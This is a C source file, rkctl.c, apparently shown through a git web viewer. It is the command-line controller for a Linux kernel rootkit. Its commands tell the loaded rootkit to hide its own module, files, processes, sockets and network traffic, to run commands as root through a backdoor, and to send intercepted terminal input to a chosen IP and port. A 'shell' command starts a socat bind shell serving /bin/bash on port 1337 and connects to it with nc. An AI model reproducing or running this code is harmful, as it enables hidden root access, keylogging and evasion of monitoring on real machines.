linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

rkctl.c (8512B)


      1 #include <stdlib.h>
      2 #include <stdio.h>
      3 #include <string.h>
      4 #include <fcntl.h>
      5 #include <libgen.h>
      6 #include <unistd.h>
      7 #include <sys/types.h>
      8 #include <sys/stat.h>
      9 #include <sys/ioctl.h>
     10 
     11 #include "../ioctl.h"
     12 #include "rkctl.h"
     13 
     14 #define BUFLEN 4096
     15 
     16 static char progname[BUFLEN];
     17 
     18 int
     19 main(int argc, char **argv)
     20 {
     21     strcpy(progname, argc ? basename(argv[0]) : "");
     22     cmd_t cmd = parse_input(argc, argv);
     23     return cmd.f(cmd.arg);
     24 }
     25 
     26 cmd_t
     27 parse_input(int argc, char **argv)
     28 {
     29     if (argc <= 1 || ARGVCMP(1, "help")) {
     30         help();
     31         exit(0);
     32     }
     33 
     34     if (ARGVCMP(1, "ping"))
     35         return (cmd_t){ handle_ping, NULL };
     36 
     37     if (ARGVCMP(1, "unload"))
     38         return (cmd_t){ handle_modhide, (void *)0 };
     39 
     40     if (ARGVCMP(1, "modhide")) {
     41         ASSERT_ARGC(2, "modhide <on | off>");
     42 
     43         if (ARGVCMP(2, "on"))
     44             return (cmd_t){ handle_modhide, (void *)1 };
     45 
     46         if (ARGVCMP(2, "off"))
     47             return (cmd_t){ handle_modhide, (void *)-1 };
     48     }
     49 
     50     if (ARGVCMP(1, "filehide")) {
     51         ASSERT_ARGC(2, "filehide [open] <toggle | on | off>");
     52 
     53         if (ARGVCMP(2, "open")) {
     54             ASSERT_ARGC(3, "filehide [open] <toggle | on | off>");
     55 
     56             if (ARGVCMP(3, "toggle"))
     57                 return (cmd_t){ handle_openhide, (void *)0 };
     58 
     59             if (ARGVCMP(3, "on"))
     60                 return (cmd_t){ handle_openhide, (void *)1 };
     61 
     62             if (ARGVCMP(3, "off"))
     63                 return (cmd_t){ handle_openhide, (void *)-1 };
     64         } else {
     65             if (ARGVCMP(2, "toggle"))
     66                 return (cmd_t){ handle_filehide, (void *)0 };
     67 
     68             if (ARGVCMP(2, "on"))
     69                 return (cmd_t){ handle_filehide, (void *)1 };
     70 
     71             if (ARGVCMP(2, "off"))
     72                 return (cmd_t){ handle_filehide, (void *)-1 };
     73         }
     74     }
     75 
     76     if (ARGVCMP(1, "hidepid")) {
     77         ASSERT_ARGC(3, "hidepid <add | rm> <PID>");
     78 
     79         long arg;
     80         if ((arg = strtol(argv[3], NULL, 10))) {
     81             if (ARGVCMP(2, "add"))
     82                 return (cmd_t){ handle_pidhide, (void *)(arg) };
     83 
     84             if (ARGVCMP(2, "rm"))
     85                 return (cmd_t){ handle_pidhide, (void *)((-1) * (arg)) };
     86         } else {
     87             fprintf(stderr, "%s: invalid pid `%s`\n", progname, argv[3]);
     88             exit(1);
     89         }
     90     }
     91 
     92     if (ARGVCMP(1, "hidepid-off"))
     93             return (cmd_t){ handle_pidhide, (void *)0 };
     94 
     95     if (ARGVCMP(1, "socket")) {
     96         ASSERT_ARGC(4, "socket <hide | unhide> <tcp | udp> <port>");
     97 
     98         long arg;
     99         if ((arg = strtol(argv[4], NULL, 10))) {
    100             if (ARGVCMP(2, "hide")) {
    101                 if (ARGVCMP(3, "tcp"))
    102                     return (cmd_t){ handle_tcphide, (void *)arg };
    103 
    104                 if (ARGVCMP(3, "udp"))
    105                     return (cmd_t){ handle_udphide, (void *)arg };
    106             }
    107 
    108             if (ARGVCMP(2, "unhide")){
    109                 if (ARGVCMP(3, "tcp"))
    110                     return (cmd_t){ handle_tcphide, (void *)((-1) * (arg)) };
    111 
    112                 if (ARGVCMP(3, "udp"))
    113                     return (cmd_t){ handle_udphide, (void *)((-1) * (arg)) };
    114             }
    115         } else {
    116             fprintf(stderr, "%s: invalid port `%s`\n", progname, argv[3]);
    117             exit(1);
    118         }
    119     }
    120 
    121     if (ARGVCMP(1, "sockethide-off"))
    122         return (cmd_t){ handle_tcphide, (void *)0 };
    123 
    124     if (ARGVCMP(1, "traffic")) {
    125         ASSERT_ARGC(3, "traffic <hide | unhide> <ip>");
    126 
    127         if (ARGVCMP(2, "hide")) {
    128             size_t arglen = strlen(argv[3]);
    129             size_t maxlen = BUFLEN - 1;
    130             char *hide_ip = (char *)malloc(BUFLEN);
    131 
    132             memset(hide_ip, 0, BUFLEN);
    133             hide_ip[0] = (char)1;
    134             memcpy(hide_ip + 1, argv[3], arglen < maxlen ? arglen : maxlen);
    135 
    136             return (cmd_t){ handle_packhide, (void *)hide_ip };
    137         }
    138 
    139         if (ARGVCMP(2, "unhide")){
    140             size_t arglen = strlen(argv[3]);
    141             size_t maxlen = BUFLEN - 1;
    142             char *unhide_ip = (char *)malloc(BUFLEN);
    143 
    144             memset(unhide_ip, 0, BUFLEN);
    145             unhide_ip[0] = (char)-1;
    146             memcpy(unhide_ip + 1, argv[3], arglen < maxlen ? arglen : maxlen);
    147 
    148             return (cmd_t){ handle_packhide, (void *)unhide_ip };
    149         }
    150     }
    151     if (ARGVCMP(1, "traffichide-off"))
    152         return (cmd_t){ handle_packhide, (void *)0 };
    153 
    154     if (ARGVCMP(1, "backdoor")) {
    155         ASSERT_ARGC(2, "backdoor <execve_command>");
    156         return (cmd_t){ handle_backdoor, (void *)argv[2] };
    157     }
    158 
    159     if (ARGVCMP(1, "shell"))
    160         return (cmd_t){ handle_shellbd, NULL };
    161 
    162     if (ARGVCMP(1, "backdoor-use-tty")) {
    163         ASSERT_ARGC(2, "backdoor-use-tty <0 | 1>");
    164 
    165         if (ARGVCMP(2, "0"))
    166             return (cmd_t){ handle_togglebd, (void *)-1 };
    167 
    168         if (ARGVCMP(2, "1"))
    169             return (cmd_t){ handle_togglebd, (void *)1 };
    170     }
    171 
    172     if (ARGVCMP(1, "backdoor-off"))
    173             return (cmd_t){ handle_togglebd, (void *)0 };
    174 
    175     if (ARGVCMP(1, "inputlogging")) {
    176         ASSERT_ARGC(3, "inputlogging <ip> <port>");
    177 
    178         char *socket = (char *)malloc(BUFLEN);
    179         snprintf(socket, BUFLEN, "%s:%s", argv[2], argv[3]);
    180 
    181         return (cmd_t){ handle_logging, (void *)socket };
    182     }
    183 
    184     if (ARGVCMP(1, "inputlogging-off"))
    185         return (cmd_t){ handle_logging, (void *)0 };
    186 
    187     help();
    188     exit(1);
    189 }
    190 
    191 int
    192 handle_ping(void *arg)
    193 {
    194     return issue_ioctl(G7_PING, "PING");
    195 }
    196 
    197 int
    198 handle_modhide(void *arg)
    199 {
    200     return issue_ioctl(G7_MODHIDE, (const char *)arg);
    201 }
    202 
    203 int
    204 handle_filehide(void *arg)
    205 {
    206     return issue_ioctl(G7_FILEHIDE, (const char *)arg);
    207 }
    208 
    209 int
    210 handle_openhide(void *arg)
    211 {
    212     return issue_ioctl(G7_OPENHIDE, (const char *)arg);
    213 }
    214 
    215 int
    216 handle_pidhide(void *arg)
    217 {
    218     return issue_ioctl(G7_PIDHIDE, (const char *)arg);
    219 }
    220 
    221 int
    222 handle_tcphide(void *arg)
    223 {
    224     return issue_ioctl(G7_TCPHIDE, (const char *)arg);
    225 }
    226 
    227 int
    228 handle_udphide(void *arg)
    229 {
    230     return issue_ioctl(G7_UDPHIDE, (const char *)arg);
    231 }
    232 
    233 int
    234 handle_packhide(void *arg)
    235 {
    236     return issue_ioctl(G7_PACKHIDE, (const char *)arg);
    237 }
    238 
    239 int
    240 handle_backdoor(void *arg)
    241 {
    242     return issue_ioctl(G7_BACKDOOR, (const char *)arg);
    243 }
    244 
    245 int
    246 handle_shellbd(void *arg)
    247 {
    248     static const char *socat_cmd = "socat"
    249         " tcp4-listen:1337,reuseaddr,fork"
    250         " exec:/bin/bash,pty,stderr,setsid";
    251 
    252     issue_ioctl(G7_BACKDOOR, socat_cmd);
    253 
    254     static char *argv[] = {
    255         "sh",
    256         "-c",
    257         "nc 127.0.0.1 1337",
    258         NULL
    259     };
    260 
    261     return execv(argv[0], argv);
    262 }
    263 
    264 int
    265 handle_togglebd(void *arg)
    266 {
    267     return issue_ioctl(G7_TOGGLEBD, (const char *)arg);
    268 }
    269 
    270 int
    271 handle_logging(void *arg)
    272 {
    273     return issue_ioctl(G7_LOGGING, (const char *)arg);
    274 }
    275 
    276 int
    277 issue_ioctl(unsigned long request, const char *argp)
    278 {
    279     int fd;
    280     char device[BUFLEN];
    281     sprintf(device, "/proc/%s", G7_DEVICE);
    282 
    283     if ((fd = open(device, O_RDWR)) < 0) {
    284         fprintf(stderr, "%s: unable to open %s, is the rootkit running?\n", progname, device);
    285         exit(1);
    286     }
    287 
    288     int ret = ioctl(fd, request, argp);
    289     close(fd);
    290 
    291     return ret;
    292 }
    293 
    294 void
    295 help()
    296 {
    297     printf("usage: %s <command>\n\n", progname);
    298     printf("These are the available commands:\n");
    299     printf("%-42s %s\n", "help", "this message");
    300     printf("%-42s %s\n", "ping", "send an echo request to the rootkit");
    301     printf("%-42s %s\n", "unload", "gracefully unload the rootkit module");
    302     printf("%-42s %s\n", "modhide <on | off>", "{,un}hide rootkit module");
    303     printf("%-42s %s\n", "filehide [open] <toggle | on | off>", "{,un}hide [open] files");
    304     printf("%-42s %s\n", "hidepid <add | rm> <PID>", "{,un}hide a process");
    305     printf("%-42s %s\n", "socket <hide | unhide> <tcp | udp> <port>", "{,un}hide a tcp or udp socket with the given port");
    306     printf("%-42s %s\n", "sockethide-off", "disable any (tcp or udp) socket hiding");
    307     printf("%-42s %s\n", "traffic <hide | unhide> <ip>", "{,un}hide packets from/to given ip address (IPv4 or IPv6)");
    308     printf("%-42s %s\n", "traffichide-off", "disable any traffic hiding");
    309     printf("%-42s %s\n", "backdoor <execve_command>", "exec a command as root");
    310     printf("%-42s %s\n", "shell", "obtain a shell as root");
    311     printf("%-42s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or TTY (1)");
    312     printf("%-42s %s\n", "backdoor-off", "disable any (read or tty) backdoor");
    313     printf("%-42s %s\n", "inputlogging <ip> <port>", "intercept {P,T}TY input and send it to <ip>:<port>");
    314     printf("%-42s %s\n", "inputlogging-off", "disable input logging");
    315 }